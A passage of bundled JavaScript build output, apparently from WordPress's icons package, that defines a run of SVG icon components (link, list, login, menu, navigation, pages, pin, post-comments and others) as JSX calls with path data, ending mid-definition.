  var layout_default = /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(import_primitives70.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(import_primitives70.Path, { d: &quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot; }) });

  // packages/icons/build-module/library/link-off.mjs
  var import_primitives71 = __toESM(require_primitives(), 1);
  var import_jsx_runtime72 = __toESM(require_jsx_runtime(), 1);
  var link_off_default = /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_primitives71.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_primitives71.Path, { d: &quot;M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z&quot; }) });

  // packages/icons/build-module/library/link.mjs
  var import_primitives72 = __toESM(require_primitives(), 1);
  var import_jsx_runtime73 = __toESM(require_jsx_runtime(), 1);
  var link_default = /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_primitives72.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(import_primitives72.Path, { d: &quot;M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z&quot; }) });

  // packages/icons/build-module/library/list-item.mjs
  var import_primitives73 = __toESM(require_primitives(), 1);
  var import_jsx_runtime74 = __toESM(require_jsx_runtime(), 1);
  var list_item_default = /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_primitives73.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_primitives73.Path, { d: &quot;M12 11v1.5h8V11h-8zm-6-1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z&quot; }) });

  // packages/icons/build-module/library/list.mjs
  var import_primitives74 = __toESM(require_primitives(), 1);
  var import_jsx_runtime75 = __toESM(require_jsx_runtime(), 1);
  var list_default = /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_primitives74.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(import_primitives74.Path, { d: &quot;M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z&quot; }) });

  // packages/icons/build-module/library/login.mjs
  var import_primitives75 = __toESM(require_primitives(), 1);
  var import_jsx_runtime76 = __toESM(require_jsx_runtime(), 1);
  var login_default = /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(import_primitives75.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(import_primitives75.Path, { d: &quot;M11 14.5l1.1 1.1 3-3 .5-.5-.6-.6-3-3-1 1 1.7 1.7H5v1.5h7.7L11 14.5zM16.8 5h-7c-1.1 0-2 .9-2 2v1.5h1.5V7c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v10c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5v-1.5H7.8V17c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2z&quot; }) });

  // packages/icons/build-module/library/loop.mjs
  var import_primitives76 = __toESM(require_primitives(), 1);
  var import_jsx_runtime77 = __toESM(require_jsx_runtime(), 1);
  var loop_default = /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_primitives76.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(import_primitives76.Path, { d: &quot;M18.1823 11.6392C18.1823 13.0804 17.0139 14.2487 15.5727 14.2487C14.3579 14.2487 13.335 13.4179 13.0453 12.2922L13.0377 12.2625L13.0278 12.2335L12.3985 10.377L12.3942 10.3785C11.8571 8.64997 10.246 7.39405 8.33961 7.39405C5.99509 7.39405 4.09448 9.29465 4.09448 11.6392C4.09448 13.9837 5.99509 15.8843 8.33961 15.8843C8.88499 15.8843 9.40822 15.781 9.88943 15.5923L9.29212 14.0697C8.99812 14.185 8.67729 14.2487 8.33961 14.2487C6.89838 14.2487 5.73003 13.0804 5.73003 11.6392C5.73003 10.1979 6.89838 9.02959 8.33961 9.02959C9.55444 9.02959 10.5773 9.86046 10.867 10.9862L10.8772 10.9836L11.4695 12.7311C11.9515 14.546 13.6048 15.8843 15.5727 15.8843C17.9172 15.8843 19.8178 13.9837 19.8178 11.6392C19.8178 9.29465 17.9172 7.39404 15.5727 7.39404C15.0287 7.39404 14.5066 7.4968 14.0264 7.6847L14.6223 9.20781C14.9158 9.093 15.2358 9.02959 15.5727 9.02959C17.0139 9.02959 18.1823 10.1979 18.1823 11.6392Z&quot; }) });

  // packages/icons/build-module/library/map-marker.mjs
  var import_primitives77 = __toESM(require_primitives(), 1);
  var import_jsx_runtime78 = __toESM(require_jsx_runtime(), 1);
  var map_marker_default = /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_primitives77.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_primitives77.Path, { d: &quot;M12 9c-.8 0-1.5.7-1.5 1.5S11.2 12 12 12s1.5-.7 1.5-1.5S12.8 9 12 9zm0-5c-3.6 0-6.5 2.8-6.5 6.2 0 .8.3 1.8.9 3.1.5 1.1 1.2 2.3 2 3.6.7 1 3 3.8 3.2 3.9l.4.5.4-.5c.2-.2 2.6-2.9 3.2-3.9.8-1.2 1.5-2.5 2-3.6.6-1.3.9-2.3.9-3.1C18.5 6.8 15.6 4 12 4zm4.3 8.7c-.5 1-1.1 2.2-1.9 3.4-.5.7-1.7 2.2-2.4 3-.7-.8-1.9-2.3-2.4-3-.8-1.2-1.4-2.3-1.9-3.3-.6-1.4-.7-2.2-.7-2.5 0-2.6 2.2-4.7 5-4.7s5 2.1 5 4.7c0 .2-.1 1-.7 2.4z&quot; }) });

  // packages/icons/build-module/library/math.mjs
  var import_primitives78 = __toESM(require_primitives(), 1);
  var import_jsx_runtime79 = __toESM(require_jsx_runtime(), 1);
  var math_default = /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(import_primitives78.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(import_primitives78.Path, { d: &quot;M11.2 6.8c-.7 0-1.4.5-1.6 1.1l-2.8 7.5-1.2-1.8c-.1-.2-.4-.3-.6-.3H3v1.5h1.6l1.2 1.8c.6.9 1.9.7 2.2-.3l2.9-7.9s.1-.2.2-.2h7.8V6.7h-7.8Zm5.3 3.4-1.9 1.9-1.9-1.9-1.1 1.1 1.9 1.9-1.9 1.9 1.1 1.1 1.9-1.9 1.9 1.9 1.1-1.1-1.9-1.9 1.9-1.9-1.1-1.1Z&quot; }) });

  // packages/icons/build-module/library/media-and-text.mjs
  var import_primitives79 = __toESM(require_primitives(), 1);
  var import_jsx_runtime80 = __toESM(require_jsx_runtime(), 1);
  var media_and_text_default = /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_primitives79.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(import_primitives79.Path, { d: &quot;M3 6v11.5h8V6H3Zm11 3h7V7.5h-7V9Zm7 3.5h-7V11h7v1.5ZM14 16h7v-1.5h-7V16Z&quot; }) });

  // packages/icons/build-module/library/media.mjs
  var import_primitives80 = __toESM(require_primitives(), 1);
  var import_jsx_runtime81 = __toESM(require_jsx_runtime(), 1);
  var media_default = /* @__PURE__ */ (0, import_jsx_runtime81.jsxs)(import_primitives80.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_primitives80.Path, { d: &quot;m7 6.5 4 2.5-4 2.5z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_primitives80.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z&quot; })
  ] });

  // packages/icons/build-module/library/menu.mjs
  var import_primitives81 = __toESM(require_primitives(), 1);
  var import_jsx_runtime82 = __toESM(require_jsx_runtime(), 1);
  var menu_default = /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_primitives81.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_primitives81.Path, { d: &quot;M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z&quot; }) });

  // packages/icons/build-module/library/more-vertical.mjs
  var import_primitives82 = __toESM(require_primitives(), 1);
  var import_jsx_runtime83 = __toESM(require_jsx_runtime(), 1);
  var more_vertical_default = /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_primitives82.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_primitives82.Path, { d: &quot;M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z&quot; }) });

  // packages/icons/build-module/library/more.mjs
  var import_primitives83 = __toESM(require_primitives(), 1);
  var import_jsx_runtime84 = __toESM(require_jsx_runtime(), 1);
  var more_default = /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(import_primitives83.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(import_primitives83.Path, { d: &quot;M4 9v1.5h16V9H4zm12 5.5h4V13h-4v1.5zm-6 0h4V13h-4v1.5zm-6 0h4V13H4v1.5z&quot; }) });

  // packages/icons/build-module/library/navigation-overlay.mjs
  var import_primitives84 = __toESM(require_primitives(), 1);
  var import_jsx_runtime85 = __toESM(require_jsx_runtime(), 1);
  var navigation_overlay_default = /* @__PURE__ */ (0, import_jsx_runtime85.jsx)(import_primitives84.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime85.jsx)(import_primitives84.Path, { d: &quot;M18.5 10a1.5 1.5 0 0 1 1.5 1.5v7a1.5 1.5 0 0 1-1.5 1.5h-7a1.5 1.5 0 0 1-1.5-1.5v-7a1.5 1.5 0 0 1 1.5-1.5zM16 4a2 2 0 0 1 2 2v2h-1.5V6a.5.5 0 0 0-.5-.5H6a.5.5 0 0 0-.5.5v3H8v1.5H5.5V16a.5.5 0 0 0 .5.5h2V18H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2z&quot; }) });

  // packages/icons/build-module/library/navigation.mjs
  var import_primitives85 = __toESM(require_primitives(), 1);
  var import_jsx_runtime86 = __toESM(require_jsx_runtime(), 1);
  var navigation_default = /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(import_primitives85.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(import_primitives85.Path, { d: &quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z&quot; }) });

  // packages/icons/build-module/library/next.mjs
  var import_primitives86 = __toESM(require_primitives(), 1);
  var import_jsx_runtime87 = __toESM(require_jsx_runtime(), 1);
  var next_default = /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(import_primitives86.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(import_primitives86.Path, { d: &quot;M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z&quot; }) });

  // packages/icons/build-module/library/overlay-text.mjs
  var import_primitives87 = __toESM(require_primitives(), 1);
  var import_jsx_runtime88 = __toESM(require_jsx_runtime(), 1);
  var overlay_text_default = /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(import_primitives87.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(import_primitives87.Path, { d: &quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12-9.8c.4 0 .8-.3.9-.7l1.1-3h3.6l.5 1.7h1.9L13 9h-2.2l-3.4 9.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12H20V6c0-1.1-.9-2-2-2zm-6 7l1.4 3.9h-2.7L12 11z&quot; }) });

  // packages/icons/build-module/library/page-break.mjs
  var import_primitives88 = __toESM(require_primitives(), 1);
  var import_jsx_runtime89 = __toESM(require_jsx_runtime(), 1);
  var page_break_default = /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(import_primitives88.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(import_primitives88.Path, { d: &quot;M17.5 9V6a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v3H8V6a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v3h1.5Zm0 6.5V18a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2v-2.5H8V18a.5.5 0 0 0 .5.5h7a.5.5 0 0 0 .5-.5v-2.5h1.5ZM4 13h16v-1.5H4V13Z&quot; }) });

  // packages/icons/build-module/library/page.mjs
  var import_primitives89 = __toESM(require_primitives(), 1);
  var import_jsx_runtime90 = __toESM(require_jsx_runtime(), 1);
  var page_default = /* @__PURE__ */ (0, import_jsx_runtime90.jsxs)(import_primitives89.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime90.jsx)(import_primitives89.Path, { d: &quot;M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime90.jsx)(import_primitives89.Path, { d: &quot;M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z&quot; })
  ] });

  // packages/icons/build-module/library/pages.mjs
  var import_primitives90 = __toESM(require_primitives(), 1);
  var import_jsx_runtime91 = __toESM(require_jsx_runtime(), 1);
  var pages_default = /* @__PURE__ */ (0, import_jsx_runtime91.jsxs)(import_primitives90.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_primitives90.Path, { d: &quot;M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_primitives90.Path, { d: &quot;M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_primitives90.Path, { d: &quot;M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z&quot; })
  ] });

  // packages/icons/build-module/library/paragraph.mjs
  var import_primitives91 = __toESM(require_primitives(), 1);
  var import_jsx_runtime92 = __toESM(require_jsx_runtime(), 1);
  var paragraph_default = /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_primitives91.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_primitives91.Path, { d: &quot;m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z&quot; }) });

  // packages/icons/build-module/library/pencil.mjs
  var import_primitives92 = __toESM(require_primitives(), 1);
  var import_jsx_runtime93 = __toESM(require_jsx_runtime(), 1);
  var pencil_default = /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_primitives92.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_primitives92.Path, { d: &quot;m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z&quot; }) });

  // packages/icons/build-module/library/pin.mjs
  var import_primitives93 = __toESM(require_primitives(), 1);
  var import_jsx_runtime94 = __toESM(require_jsx_runtime(), 1);
  var pin_default = /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_primitives93.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_primitives93.Path, { d: &quot;m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z&quot; }) });

  // packages/icons/build-module/library/plugins.mjs
  var import_primitives94 = __toESM(require_primitives(), 1);
  var import_jsx_runtime95 = __toESM(require_jsx_runtime(), 1);
  var plugins_default = /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(import_primitives94.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(import_primitives94.Path, { d: &quot;M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z&quot; }) });

  // packages/icons/build-module/library/plus.mjs
  var import_primitives95 = __toESM(require_primitives(), 1);
  var import_jsx_runtime96 = __toESM(require_jsx_runtime(), 1);
  var plus_default = /* @__PURE__ */ (0, import_jsx_runtime96.jsx)(import_primitives95.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime96.jsx)(import_primitives95.Path, { d: &quot;M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z&quot; }) });

  // packages/icons/build-module/library/position-center.mjs
  var import_primitives96 = __toESM(require_primitives(), 1);
  var import_jsx_runtime97 = __toESM(require_jsx_runtime(), 1);
  var position_center_default = /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(import_primitives96.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(import_primitives96.Path, { d: &quot;M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z&quot; }) });

  // packages/icons/build-module/library/position-left.mjs
  var import_primitives97 = __toESM(require_primitives(), 1);
  var import_jsx_runtime98 = __toESM(require_jsx_runtime(), 1);
  var position_left_default = /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(import_primitives97.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(import_primitives97.Path, { d: &quot;M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z&quot; }) });

  // packages/icons/build-module/library/position-right.mjs
  var import_primitives98 = __toESM(require_primitives(), 1);
  var import_jsx_runtime99 = __toESM(require_jsx_runtime(), 1);
  var position_right_default = /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(import_primitives98.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(import_primitives98.Path, { d: &quot;M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z&quot; }) });

  // packages/icons/build-module/library/post-author.mjs
  var import_primitives99 = __toESM(require_primitives(), 1);
  var import_jsx_runtime100 = __toESM(require_jsx_runtime(), 1);
  var post_author_default = /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(import_primitives99.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(import_primitives99.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M10 4.5a1 1 0 11-2 0 1 1 0 012 0zm1.5 0a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm2.25 7.5v-1A2.75 2.75 0 0011 8.25H7A2.75 2.75 0 004.25 11v1h1.5v-1c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v1h1.5zM4 20h9v-1.5H4V20zm16-4H4v-1.5h16V16z&quot; }) });

  // packages/icons/build-module/library/post-categories.mjs
  var import_primitives100 = __toESM(require_primitives(), 1);
  var import_jsx_runtime101 = __toESM(require_jsx_runtime(), 1);
  var post_categories_default = /* @__PURE__ */ (0, import_jsx_runtime101.jsx)(import_primitives100.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime101.jsx)(import_primitives100.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M20 4H4v1.5h16V4zm-2 9h-3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3zM4 9.5h9V8H4v1.5zM9 13H6c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3z&quot; }) });

  // packages/icons/build-module/library/post-comments-count.mjs
  var import_primitives101 = __toESM(require_primitives(), 1);
  var import_jsx_runtime102 = __toESM(require_jsx_runtime(), 1);
  var post_comments_count_default = /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(import_primitives101.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(import_primitives101.Path, { d: &quot;M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-2.2 6.6H7l1.6-2.2c.3-.4.5-.7.6-.9.1-.2.2-.4.2-.5 0-.2-.1-.3-.1-.4-.1-.1-.2-.1-.4-.1s-.4 0-.6.1c-.3.1-.5.3-.7.4l-.2.2-.2-1.2.1-.1c.3-.2.5-.3.8-.4.3-.1.6-.1.9-.1.3 0 .6.1.9.2.2.1.4.3.6.5.1.2.2.5.2.7 0 .3-.1.6-.2.9-.1.3-.4.7-.7 1.1l-.5.6h1.6v1.2z&quot; }) });

  // packages/icons/build-module/library/post-comments-form.mjs
  var import_primitives102 = __toESM(require_primitives(), 1);
  var import_jsx_runtime103 = __toESM(require_jsx_runtime(), 1);
  var post_comments_form_default = /* @__PURE__ */ (0, import_jsx_runtime103.jsx)(import_primitives102.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime103.jsx)(import_primitives102.Path, { d: &quot;M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-.5 6.6H6.7l-1.2 1.2v-6.3h7v5.1z&quot; }) });

  // packages/icons/build-module/library/post-comments.mjs
  var import_primitives103 = __toESM(require_primitives(), 1);
  var import_jsx_runtime104 = __toESM(require_jsx_runtime(), 1);
  var post_comments_default = /* @__PURE__ */ (0, import_jsx_runtime104.jsx)(import_primitives103.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime104.jsx)(import_primitives103.Path, { d: &quot;M14 10.1V4c0-.6-.4-1-1-1H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1zm-1.5-.5H6.7l-1.2 1.2V4.5h7v5.1zM19 12h-8c-.6 0-1 .4-1 1v6.1c0 .6.4 1 1 1h5.7l1.8 1.8c.1.2.4.3.6.3.1 0 .2 0 .3-.1.4-.1.6-.5.6-.8V13c0-.6-.4-1-1-1zm-.5 7.8l-1.2-1.2h-5.8v-5.1h7v6.3z&quot; }) });

  // packages/icons/build-module/library/post-content.mjs
  var import_primitives104 = __toESM(require_primitives(), 1);
  var import_jsx_runtime105 = __toESM(require_jsx_runtime(), 1);
  var post_content_default = /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_primitives104.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_primitives104.Path, { d: &quot;M4 6h12V4.5H4V6Zm16 4.5H4V9h16v1.5ZM4 15h16v-1.5H4V15Zm0 4.5h16V18H4v1.5Z&quot; }) });

  // packages/icons/build-module/library/post-date.mjs
  var import_primitives105 = __toESM(require_primitives(), 1);
  var import_jsx_runtime106 = __toESM(require_jsx_runtime(), 1);
  var post_date_default = /* @__PURE__ */ (0, import_jsx_runtime106.jsxs)(import_primitives105.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
